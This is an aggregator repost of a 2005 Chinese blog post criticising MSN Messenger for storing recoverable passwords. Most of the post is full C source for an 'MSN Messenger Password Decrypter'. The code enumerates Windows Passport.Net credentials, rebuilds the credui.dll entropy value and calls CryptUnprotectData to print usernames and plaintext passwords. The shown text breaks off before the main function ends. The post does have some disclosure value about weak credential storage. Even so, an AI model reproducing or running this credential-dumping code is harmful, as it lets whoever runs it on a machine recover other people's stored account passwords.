惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
DataBreaches.Net
N
Netflix TechBlog - Medium
P
Proofpoint News Feed
D
Docker
J
Java Code Geeks
L
LangChain Blog
Microsoft Security Blog
Microsoft Security Blog
The GitHub Blog
The GitHub Blog
I
InfoQ
Stack Overflow Blog
Stack Overflow Blog
云风的 BLOG
云风的 BLOG
Engineering at Meta
Engineering at Meta
MongoDB | Blog
MongoDB | Blog
月光博客
月光博客
T
Tailwind CSS Blog
M
MIT News - Artificial intelligence
Blog — PlanetScale
Blog — PlanetScale
Google DeepMind News
Google DeepMind News
腾讯CDC
罗磊的独立博客
U
Unit 42
爱范儿
爱范儿
Vercel News
Vercel News
MyScale Blog
MyScale Blog

博客园 - James

Send-only Mail Server with Exim on Ubuntu 10.04 LTS Change hostname on Ubuntu without reboot 51IT最全的自动化测试工具QTP资料 QTP如何启动应用程序(转) - James - 博客园 找出用户表中有重复密码的用户 如何改变Linux Kennel中的shmmax参数 如何在C语言中使用constructor和destructor,gcc环境 如何在Ubuntu上update gem for ruby 1.9.1的版本 google疯了 - James - 博客园 碰巧遇到一些智力面试题,解答一下 避免在电脑上浪费时间的好办法 如何在Postgresql中产生自己的集合function 用RJS写的检测用户名和email是否存在 ajax check username available in rails 重新开始Blog生活 准备用C#写一个Blog的客户端,大家看看功能缺哪些,哪些不需要? PInvoke 白话文 Apache 2 + PHP Windows安装指南(官方版本) .Text Blog .95中一个Unicode的bug - James
MSN Messager密码 - James - 博客园
James · 2005-08-19 · via 博客园 - James

 密码怎么能存下来呢,要存也存一个Hash以后的啊。失败,程序直接就找出密码来了。windows xp + vc++ 7.0下编译通过。

 #include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

#pragma comment(lib, "Crypt32.lib")

//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK /


typedef struct _CREDENTIAL_ATTRIBUTEA {
 LPSTR Keyword;
 DWORD Flags;
 DWORD ValueSize;
 LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;

typedef struct _CREDENTIALA {
 DWORD Flags;
 DWORD Type;
 LPSTR TargetName;
 LPSTR Comment;
 FILETIME LastWritten;
 DWORD CredentialBlobSize;
 LPBYTE CredentialBlob;
 DWORD Persist;
 DWORD AttributeCount;
 PCREDENTIAL_ATTRIBUTEA Attributes;
 LPSTR TargetAlias;
 LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;

typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;

////////////////////////////////////////////////////////////////////

typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR,
            DWORD, DWORD *, PCREDENTIALA **);
typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD,
          DWORD, PCREDENTIALA *);
typedef VOID (WINAPI *typeCredFree)(PVOID);

typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;

////////////////////////////////////////////////////////////////////

void showBanner()
{
 printf("MSN Messenger Password Decrypter for Windows XP/2003\n");
 printf(" - Gregory R. Panakkal,http://www.infogreg.com \n\n");
}

////////////////////////////////////////////////////////////////////
int main()
{
 PCREDENTIAL *CredentialCollection = NULL;
 DATA_BLOB blobCrypt, blobPlainText, blobEntropy;

 //used for filling up blobEntropy
 char szEntropyStringSeed[37] =
  "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
 short int EntropyData[37];
 short int tmp;

 HMODULE hDLL;
 DWORD Count, i;

 showBanner();

 //Locate CredEnumerate, CredRead, CredFree from advapi32.dll
  if( hDLL = LoadLibrary("advapi32.dll") )
  {
   pfCredEnumerateA =
    (typeCredEnumerateA)GetProcAddress(hDLL,
    "CredEnumerateA");
   pfCredReadA =
    (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
   pfCredFree =
    (typeCredFree)GetProcAddress(hDLL, "CredFree");

   if( pfCredEnumerateA == NULL||
    pfCredReadA == NULL ||
    pfCredFree == NULL )
   {
    printf("error!\n");
    return -1;
   }
  }

  //Get an array of 'credential', satisfying the  filter
   pfCredEnumerateA("Passport.Net\\*", 0, &Count,
   &CredentialCollection);

  if( Count ) //usually this value is only 1
  {

   //Calculate Entropy Data
   for(i=0; i<37; i++) //    strlen(szEntropyStringSeed) = 37
   {
    tmp = (short int)szEntropyStringSeed[i];
    tmp <<= 2;
    EntropyData[i] = tmp;
   }

   for(i=0; i<Count; i++)
   {
    blobEntropy.pbData = (BYTE *)&EntropyData;
    blobEntropy.cbData = 74;
    //sizeof(EntropyData)

    blobCrypt.pbData =
     CredentialCollection[i]->CredentialBlob;
    blobCrypt.cbData =
     CredentialCollection[i]->CredentialBlobSize;

    CryptUnprotectData(&blobCrypt, NULL,
     &blobEntropy, NULL, NULL, 1, &blobPlainText);

    printf("Username : %s\n",
     CredentialCollection[i]->UserName);
    printf("Password : %ls\n\n",
     blobPlainText.pbData);
   }
  }